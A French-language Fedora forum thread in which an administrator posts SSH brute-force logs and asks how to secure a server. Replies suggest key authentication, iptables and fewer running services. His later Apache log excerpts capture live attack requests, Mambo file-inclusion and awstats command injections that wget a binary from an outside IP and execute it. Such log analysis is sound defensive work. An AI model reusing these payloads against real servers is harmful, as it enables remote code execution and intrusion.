Fedora-Fr

Ce site est optimisé pour être consulté depuis un navigateur moderne dans lequel JavaScript est activé.

Securité d'un serveur sous fedora.

Amerzone

Bonjour, je voudrais savoir comment je pourrais securisé mon serveur sous fedora.
en vue de nombreuse tendative de connexion..
merci..

Jul  1 03:06:25 localhost sshd(pam_unix)[28576]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:28 localhost unix_chkpwd[28581]: check pass; user unknown
Jul  1 03:06:28 localhost sshd(pam_unix)[28579]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:31 localhost unix_chkpwd[28584]: check pass; user unknown
Jul  1 03:06:31 localhost sshd(pam_unix)[28582]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:35 localhost unix_chkpwd[28587]: check pass; user unknown
Jul  1 03:06:35 localhost sshd(pam_unix)[28585]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:38 localhost unix_chkpwd[28590]: check pass; user unknown
Jul  1 03:06:38 localhost sshd(pam_unix)[28588]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:41 localhost unix_chkpwd[28594]: check pass; user unknown
Jul  1 03:06:41 localhost sshd(pam_unix)[28591]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:42 localhost unix_chkpwd[28596]: check pass; user unknown
Jul  1 03:06:42 localhost sshd(pam_unix)[28593]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.244.75.194
Jul  1 03:06:45 localhost unix_chkpwd[28599]: check pass; user unknown
Jul  1 03:06:45 localhost sshd(pam_unix)[28597]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:45 localhost unix_chkpwd[28602]: check pass; user unknown
Jul  1 03:06:45 localhost sshd(pam_unix)[28600]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.244.75.194
Jul  1 03:06:49 localhost unix_chkpwd[28607]: check pass; user unknown
Jul  1 03:06:49 localhost sshd(pam_unix)[28603]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.244.75.194
Jul  1 03:06:49 localhost unix_chkpwd[28608]: check pass; user unknown
Jul  1 03:06:49 localhost sshd(pam_unix)[28605]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:06:52 localhost unix_chkpwd[28611]: check pass; user unknown
Jul  1 03:06:52 localhost sshd(pam_unix)[28609]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.244.75.194
Jul  1 03:06:53 localhost unix_chkpwd[28614]: check pass; user unknown
Jul  1 03:06:53 localhost sshd(pam_unix)[28612]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97



Jul  1 03:08:33 localhost sshd(pam_unix)[28803]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.244.75.194  user=bin
Jul  1 03:08:33 localhost unix_chkpwd[28807]: check pass; user unknown
Jul  1 03:08:33 localhost sshd(pam_unix)[28805]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.219.101.97
Jul  1 03:08:36 localhost sshd(pam_unix)[28808]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.244.75.194  user=root
Jul  1 03:08:37 localhost unix_chkpwd[28812]: check pass; user unknown





Jun 21 01:24:41 localhost sshd(pam_unix)[20632]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=212.158.109.11  user=root
Jun 21 01:24:48 localhost unix_chkpwd[20636]: check pass; user unknown
Jun 21 01:24:48 localhost sshd(pam_unix)[20634]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=212.158.109.11
Jun 21 01:25:00 localhost unix_chkpwd[20639]: check pass; user unknown
Jun 21 01:25:00 localhost sshd(pam_unix)[20637]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=212.158.109.11
Jun 21 02:01:01 localhost crond(pam_unix)[20642]: session opened for user root by (uid=0)
Jun 21 02:01:01 localhost crond(pam_unix)[20642]: session closed for user root





Jun 22 06:35:21 localhost sshd(pam_unix)[21930]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:35:27 localhost sshd(pam_unix)[21933]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com  user=bin
Jun 22 06:35:35 localhost sshd(pam_unix)[21935]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=daemon
Jun 22 06:35:38 localhost sshd(pam_unix)[21937]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=adm
Jun 22 06:35:41 localhost sshd(pam_unix)[21939]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=lp
Jun 22 06:35:44 localhost sshd(pam_unix)[21941]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=sync
Jun 22 06:35:48 localhost sshd(pam_unix)[21943]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=shutdown
Jun 22 06:35:51 localhost sshd(pam_unix)[21945]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=halt
Jun 22 06:35:55 localhost sshd(pam_unix)[21947]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=mail
Jun 22 06:35:58 localhost sshd(pam_unix)[21949]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=news
Jun 22 06:36:01 localhost sshd(pam_unix)[21951]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com  user=uucp
Jun 22 06:36:04 localhost sshd(pam_unix)[21953]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=operator
Jun 22 06:36:08 localhost sshd(pam_unix)[21955]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=games
Jun 22 06:36:11 localhost sshd(pam_unix)[21957]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=gopher
Jun 22 06:36:14 localhost sshd(pam_unix)[21959]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=ftp
Jun 22 06:36:17 localhost sshd(pam_unix)[21961]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=nobody
Jun 22 06:36:21 localhost sshd(pam_unix)[21963]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=rpm
Jun 22 06:36:24 localhost sshd(pam_unix)[21965]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=vcsa
Jun 22 06:36:27 localhost sshd(pam_unix)[21967]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=nscd
Jun 22 06:36:30 localhost sshd(pam_unix)[21969]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com  user=sshd
Jun 22 06:36:33 localhost sshd(pam_unix)[21971]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=rpc
Jun 22 06:36:36 localhost sshd(pam_unix)[21973]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=rpcuser
Jun 22 06:36:39 localhost sshd(pam_unix)[21975]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=nfsnobody
Jun 22 06:36:42 localhost sshd(pam_unix)[21977]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=pcap
Jun 22 06:36:46 localhost sshd(pam_unix)[21979]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=mailnull
Jun 22 06:36:49 localhost sshd(pam_unix)[21981]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=smmsp
Jun 22 06:36:52 localhost sshd(pam_unix)[21983]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com  user=apache
Jun 22 06:36:55 localhost sshd(pam_unix)[21985]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=squid
Jun 22 06:36:58 localhost sshd(pam_unix)[21987]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=webalizer
Jun 22 06:37:01 localhost sshd(pam_unix)[21989]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com  user=dbus
Jun 22 06:37:04 localhost sshd(pam_unix)[21991]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com  user=xfs
Jun 22 06:37:07 localhost unix_chkpwd[21995]: check pass; user unknown
Jun 22 06:37:07 localhost sshd(pam_unix)[21993]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com
Jun 22 06:37:11 localhost sshd(pam_unix)[21996]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com  user=ntp
Jun 22 06:37:14 localhost unix_chkpwd[22000]: check pass; user unknown
Jun 22 06:37:14 localhost sshd(pam_unix)[21998]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:17 localhost sshd(pam_unix)[22001]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=mysql
                                                                                                   




Jun 22 06:37:14 localhost sshd(pam_unix)[21998]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:17 localhost sshd(pam_unix)[22001]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com  user=mysql
Jun 22 06:37:20 localhost unix_chkpwd[22005]: check pass; user unknown
Jun 22 06:37:20 localhost sshd(pam_unix)[22003]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com
Jun 22 06:37:23 localhost unix_chkpwd[22008]: check pass; user unknown
Jun 22 06:37:23 localhost sshd(pam_unix)[22006]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:26 localhost unix_chkpwd[22011]: check pass; user unknown
Jun 22 06:37:26 localhost sshd(pam_unix)[22009]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:30 localhost unix_chkpwd[22014]: check pass; user unknown
Jun 22 06:37:30 localhost sshd(pam_unix)[22012]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com
Jun 22 06:37:33 localhost unix_chkpwd[22017]: check pass; user unknown
Jun 22 06:37:33 localhost sshd(pam_unix)[22015]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com
Jun 22 06:37:36 localhost unix_chkpwd[22020]: check pass; user unknown
Jun 22 06:37:36 localhost sshd(pam_unix)[22018]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com
Jun 22 06:37:39 localhost unix_chkpwd[22023]: check pass; user unknown
Jun 22 06:37:39 localhost sshd(pam_unix)[22021]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:42 localhost unix_chkpwd[22026]: check pass; user unknown
Jun 22 06:37:42 localhost sshd(pam_unix)[22024]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:45 localhost unix_chkpwd[22029]: check pass; user unknown
Jun 22 06:37:45 localhost sshd(pam_unix)[22027]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com
Jun 22 06:37:48 localhost unix_chkpwd[22032]: check pass; user unknown
Jun 22 06:37:48 localhost sshd(pam_unix)[22030]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:37:51 localhost unix_chkpwd[22035]: check pass; user unknown
Jun 22 06:37:51 localhost sshd(pam_unix)[22033]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com
Jun 22 06:37:55 localhost unix_chkpwd[22038]: check pass; user unknown
Jun 22 06:37:55 localhost sshd(pam_unix)[22036]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com
Jun 22 06:37:58 localhost unix_chkpwd[22041]: check pass; user unknown
Jun 22 06:37:58 localhost sshd(pam_unix)[22039]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:38:01 localhost unix_chkpwd[22044]: check pass; user unknown
Jun 22 06:38:01 localhost sshd(pam_unix)[22042]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com
Jun 22 06:38:04 localhost unix_chkpwd[22047]: check pass; user unknown
Jun 22 06:38:04 localhost sshd(pam_unix)[22045]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ftp.best.bestqualitywater.com
Jun 22 06:38:07 localhost unix_chkpwd[22050]: check pass; user unknown
Jun 22 06:38:07 localhost sshd(pam_unix)[22048]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.best.bestqualitywater.com
Jun 22 06:38:10 localhost unix_chkpwd[22053]: check pass; user unknown
Jun 22 06:38:10 localhost sshd(pam_unix)[22051]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:38:13 localhost unix_chkpwd[22056]: check pass; user unknown
Jun 22 06:38:13 localhost sshd(pam_unix)[22054]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:38:17 localhost unix_chkpwd[22059]: check pass; user unknown
Jun 22 06:38:17 localhost sshd(pam_unix)[22057]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=best.bestqualitywater.com
Jun 22 06:38:20 localhost unix_chkpwd[22062]: check pass; user unknown




Jun 22 12:05:53 localhost sshd(pam_unix)[23384]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=ftp
Jun 22 12:05:56 localhost unix_chkpwd[23388]: check pass; user unknown
Jun 22 12:05:56 localhost sshd(pam_unix)[23386]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:05:59 localhost sshd(pam_unix)[23389]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:01 localhost unix_chkpwd[23393]: check pass; user unknown
Jun 22 12:06:01 localhost sshd(pam_unix)[23391]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:04 localhost unix_chkpwd[23396]: check pass; user unknown
Jun 22 12:06:04 localhost sshd(pam_unix)[23394]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:07 localhost unix_chkpwd[23399]: check pass; user unknown
Jun 22 12:06:07 localhost sshd(pam_unix)[23397]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:10 localhost sshd(pam_unix)[23400]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=apache
Jun 22 12:06:13 localhost sshd(pam_unix)[23402]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:16 localhost sshd(pam_unix)[23404]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:19 localhost sshd(pam_unix)[23406]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:22 localhost sshd(pam_unix)[23408]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:24 localhost sshd(pam_unix)[23410]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:27 localhost sshd(pam_unix)[23412]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:30 localhost sshd(pam_unix)[23414]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:33 localhost unix_chkpwd[23418]: check pass; user unknown
Jun 22 12:06:33 localhost sshd(pam_unix)[23416]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:36 localhost unix_chkpwd[23421]: check pass; user unknown
Jun 22 12:06:36 localhost sshd(pam_unix)[23419]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:39 localhost unix_chkpwd[23424]: check pass; user unknown
Jun 22 12:06:39 localhost sshd(pam_unix)[23422]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:42 localhost unix_chkpwd[23427]: check pass; user unknown
Jun 22 12:06:42 localhost sshd(pam_unix)[23425]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de
Jun 22 12:06:45 localhost sshd(pam_unix)[23428]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root
Jun 22 12:06:47 localhost sshd(pam_unix)[23430]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.202.214.173.unitedcolo.de  user=root



Jun 13 02:54:35 localhost unix_chkpwd[15850]: check pass; user unknown
Jun 13 02:54:35 localhost sshd(pam_unix)[15848]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr
Jun 13 02:54:41 localhost sshd(pam_unix)[15851]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=ftp
Jun 13 02:54:46 localhost unix_chkpwd[15855]: check pass; user unknown
Jun 13 02:54:46 localhost sshd(pam_unix)[15853]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr
Jun 13 02:54:52 localhost sshd(pam_unix)[15856]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:54:57 localhost unix_chkpwd[15860]: check pass; user unknown
Jun 13 02:54:57 localhost sshd(pam_unix)[15858]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr
Jun 13 02:55:02 localhost unix_chkpwd[15863]: check pass; user unknown
Jun 13 02:55:02 localhost sshd(pam_unix)[15861]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr
Jun 13 02:55:11 localhost unix_chkpwd[15866]: check pass; user unknown
Jun 13 02:55:11 localhost sshd(pam_unix)[15864]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr
Jun 13 02:55:16 localhost sshd(pam_unix)[15867]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=apache
Jun 13 02:55:22 localhost sshd(pam_unix)[15869]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:55:27 localhost sshd(pam_unix)[15871]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:55:32 localhost sshd(pam_unix)[15873]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:55:38 localhost sshd(pam_unix)[15875]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:55:43 localhost sshd(pam_unix)[15877]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:55:48 localhost sshd(pam_unix)[15879]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root
Jun 13 02:55:59 localhost sshd(pam_unix)[15881]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=alyon-209-1-2-249.w193-253.abo.wanadoo.fr  user=root

chark

Salut,
A mon humble avis la meilleure façon de sécurisé un serveur sous GNU/Linux (comme une bonne vieille fedora), est sans aucun doute d'installer les One Time Passords In Everything.
Avec ce système, les mots de passe changent à chaque fois !!!!
Home page de OTP

shakyamuni

faut pas aller chercher bien loin.
d'abord tu montes un firewall avec des règles iptables et zou.
apres tu vois ce qu'il se passe et tu agis en conséquence.

Amerzone

mettre un routeur en amont est suffisant avec des regles de filtrages?.

drpixel

Cela est valable que si certaines IP bien définie sont autorisés a s'y connecter. Sinon les règles ne peuvent pas s'appliquer (on peut éventuellement utiliser iptables pour limiter le nombre de connexion simultanée d'une même IP pendant 1sec), il est également faisable de n'autoriser que l'authentification par clé des hôtes. Cela ne prends pas énormement de temps en plus. Et les mots de passe ne serviront a rien, il faudra le coupe clé privée/clé publique pour pouvoir se connecter au serveur.

grosminet

Limiter les services a ceux dont tu a besoin
Lancer nmapf
www.insecure.org

celmir

Personnellement vu que ce sont des attaques sur ton serveur ssh, je te conseille de modifier ta méthode d'authetification : tu n'accepte que les certificats, tu refuse les mots de passe. Bien sur il faut que tu génères avant les dit certificats et que tu diffuse aux personnes habilitées à se connecter.

Ensuite il faut effectivement limiter la surface d'attaque et ne faisant tourner que les services utiles.
Tu peux aussi installer 'bastille linux' pour renforcer la sécurité de ton système.

Amerzone

Bonjour, depuis plus d'une semaine. Je constate des tentative d'appelle sur mon serveur..
mais je n'arrive pas a terminer les raisons et lors but..


62.94.206.86 - - [28/Dec/2005:12:54:45 +0100] "GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo|  HTTP/1.1" 404 218 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:30 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|  HTTP/1.1" 404 216 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:35 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|  HTTP/1.1" 404 216 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:36 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|  HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:37 +0100] "POST /xmlrpc.php HTTP/1.1" 404 208 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:38 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 213 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:40 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 220 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:41 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:42 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 215 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:43 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:44 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 218 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:46 +0100] "POST /xmlrpc.php HTTP/1.1" 404 208 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:47 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 215 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.26.215.58 - - [28/Dec/2005:13:02:48 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 215 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Dois-je considére ceux-ci comme des attaques?.